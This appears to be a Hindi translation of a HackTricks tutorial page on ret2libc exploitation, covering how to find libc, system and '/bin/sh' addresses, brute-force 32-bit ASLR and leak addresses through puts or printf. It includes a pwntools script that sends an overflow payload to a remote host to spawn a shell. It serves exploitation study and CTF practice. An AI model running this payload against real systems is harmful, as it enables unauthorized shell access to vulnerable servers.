Ret2lib
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
Ret2Libc का सार यह है कि यह एक कमजोर प्रोग्राम के निष्पादन प्रवाह को एक साझा पुस्तकालय (जैसे, system, execve, strcpy) के भीतर एक फ़ंक्शन की ओर पुनर्निर्देशित करता है, बजाय इसके कि हमलावर द्वारा प्रदान किए गए शेलकोड को स्टैक पर निष्पादित किया जाए। हमलावर एक पेलोड तैयार करता है जो स्टैक पर लौटने के पते को उस पुस्तकालय फ़ंक्शन की ओर मोड़ता है, जबकि आवश्यक तर्कों को कॉलिंग कन्वेंशन के अनुसार सही तरीके से सेट करने की व्यवस्था भी करता है।
उदाहरण चरण (सरल किया हुआ)
- कॉल करने के लिए फ़ंक्शन का पता प्राप्त करें (जैसे system) और कॉल करने के लिए कमांड (जैसे /bin/sh)
- पहले तर्क को कमांड स्ट्रिंग की ओर इंगित करने और फ़ंक्शन के लिए निष्पादन प्रवाह को पास करने के लिए एक ROP श्रृंखला उत्पन्न करें
पते खोजना
- मान लीजिए कि
libc
जो उपयोग किया जा रहा है वह वर्तमान मशीन से है, आप यह पता लगा सकते हैं कि इसे मेमोरी में कहाँ लोड किया जाएगा:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
यदि आप यह जांचना चाहते हैं कि क्या ASLR libc के पते को बदल रहा है, तो आप कर सकते हैं:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- libc का ज्ञान होने पर
system
फ़ंक्शन के लिए ऑफ़सेट ढूंढना भी संभव है:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- libc का ज्ञान होने पर यह संभव है कि
/bin/sh
फ़ंक्शन के लिए ऑफ़सेट पाया जा सके:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
gdb-peda / GEF का उपयोग करना
libc का ज्ञान होने पर, Peda या GEF का उपयोग करके system फ़ंक्शन, exit फ़ंक्शन और स्ट्रिंग /bin/sh
का पता लगाना भी संभव है:
p system
p exit
find "/bin/sh"
/proc/<PID>/maps का उपयोग करना
यदि प्रक्रिया हर बार जब आप इसके साथ बात करते हैं (नेटवर्क सर्वर) बच्चे बना रही है, तो उस फ़ाइल को पढ़ने की कोशिश करें (संभवतः आपको रूट होना पड़ेगा)।
यहाँ आप सटीक रूप से देख सकते हैं कि libc प्रक्रिया के अंदर कहाँ लोड हो रहा है और प्रक्रिया के हर बच्चे के लिए कहाँ लोड होने वाला है।
इस मामले में यह 0xb75dc000 में लोड हो रहा है (यह libc का बेस पता होगा)
अज्ञात libc
यह संभव है कि आप नहीं जानते कि बाइनरी कौन सा libc लोड कर रहा है (क्योंकि यह एक सर्वर पर हो सकता है जहाँ आपके पास कोई पहुँच नहीं है)। उस मामले में आप कुछ पते लीक करने के लिए भेद्यता का दुरुपयोग कर सकते हैं और पता लगा सकते हैं कि कौन सी libc लाइब्रेरी का उपयोग किया जा रहा है:
और आप इसके लिए एक pwntools टेम्पलेट यहाँ पा सकते हैं:
2 ऑफसेट के साथ libc जानना
पृष्ठ https://libc.blukat.me/ की जाँच करें और libc के अंदर फ़ंक्शनों के कुछ पते का उपयोग करें ताकि उपयोग की गई संस्करण का पता लगाया जा सके।
32 बिट में ASLR को बायपास करना
ये ब्रूट-फोर्सिंग हमले केवल 32 बिट सिस्टम के लिए उपयोगी हैं।
- यदि एक्सप्लॉइट स्थानीय है, तो आप libc के बेस पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32 बिट सिस्टम के लिए उपयोगी):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप
libc
फ़ंक्शनusleep
के पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त समय लेता है, तो आपने इस फ़ंक्शन का पता लगा लिया है।
One Gadget
एक शेल को केवल एक विशिष्ट पते पर libc में कूदकर निष्पादित करें:
x86 Ret2lib कोड उदाहरण
इस उदाहरण में ASLR ब्रूट-फोर्स कोड में एकीकृत है और कमजोर बाइनरी एक दूरस्थ सर्वर पर स्थित है:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib कोड उदाहरण
उदाहरण देखें:
ROP - Return Oriented Programing
ARM64 Ret2lib उदाहरण
ARM64 के मामले में, ret निर्देश उस स्थान पर कूदता है जहाँ x30 रजिस्टर इशारा कर रहा है और न कि जहाँ स्टैक रजिस्टर इशारा कर रहा है। इसलिए यह थोड़ा अधिक जटिल है।
ARM64 में एक निर्देश वही करता है जो निर्देश करता है (निर्देशों के बीच में कूदना और उन्हें नए में बदलना संभव नहीं है)।
उदाहरण देखें:
Ret-into-printf (या puts)
यह प्रक्रिया से जानकारी लीक करने की अनुमति देता है printf
/puts
को कुछ विशिष्ट डेटा को तर्क के रूप में डालकर कॉल करके। उदाहरण के लिए, puts
के GOT के पते को puts
के निष्पादन में डालने से मेमोरी में puts
का पता लीक होगा।
Ret2printf
इसका मूलतः मतलब है Ret2lib का दुरुपयोग करना ताकि इसे printf
फॉर्मेट स्ट्रिंग्स की कमजोरियों में बदल दिया जाए ret2lib
का उपयोग करके printf को उन मानों के साथ कॉल करना जो इसका शोषण करते हैं (सुनने में बेकार लगता है लेकिन संभव है):
अन्य उदाहरण और संदर्भ
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, libc में एक फ़ंक्शन के पते को लीक करने के लिए, एक गेजेट का उपयोग करना
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 बिट, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम एक ओवरफ्लो को भरना है जब तक कि कैनरी का बाइट 0x00 न हो जाए ताकि फिर puts को कॉल किया जा सके और इसे लीक किया जा सके। कैनरी के साथ एक ROP गेजेट बनाया जाता है जो puts को कॉल करता है ताकि GOT से puts का पता लीक किया जा सके और फिर
system('/bin/sh')
को कॉल करने के लिए एक ROP गेजेट। - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 बिट, ASLR सक्षम, कोई कैनरी नहीं, मुख्य से एक चाइल्ड फ़ंक्शन में स्टैक ओवरफ्लो। GOT से puts के पते को लीक करने के लिए puts को कॉल करने के लिए ROP गेजेट और फिर एक गेजेट को कॉल करें।
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 बिट, कोई pie नहीं, कोई कैनरी नहीं, कोई relro नहीं, nx। लिखने के फ़ंक्शन का उपयोग करके लिखने के पते (libc) को लीक करता है और एक गेजेट को कॉल करता है।
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- स्टैक से कैनरी को लीक करने के लिए एक फॉर्मेट स्ट्रिंग का उपयोग करता है और
/bin/sh
के पते के साथ सिस्टम में कॉल करने के लिए एक बफर ओवरफ्लो करता है (यह GOT में है)। - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 बिट, कोई relro नहीं, कोई कैनरी नहीं, nx, pie। स्टैक से libc और heap के पते को लीक करने के लिए एक खराब इंडेक्सिंग का दुरुपयोग करें।
system('/bin/sh')
को कॉल करने के लिए ret2lib का दुरुपयोग करें (heap का पता एक जांच को बायपास करने के लिए आवश्यक है)।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।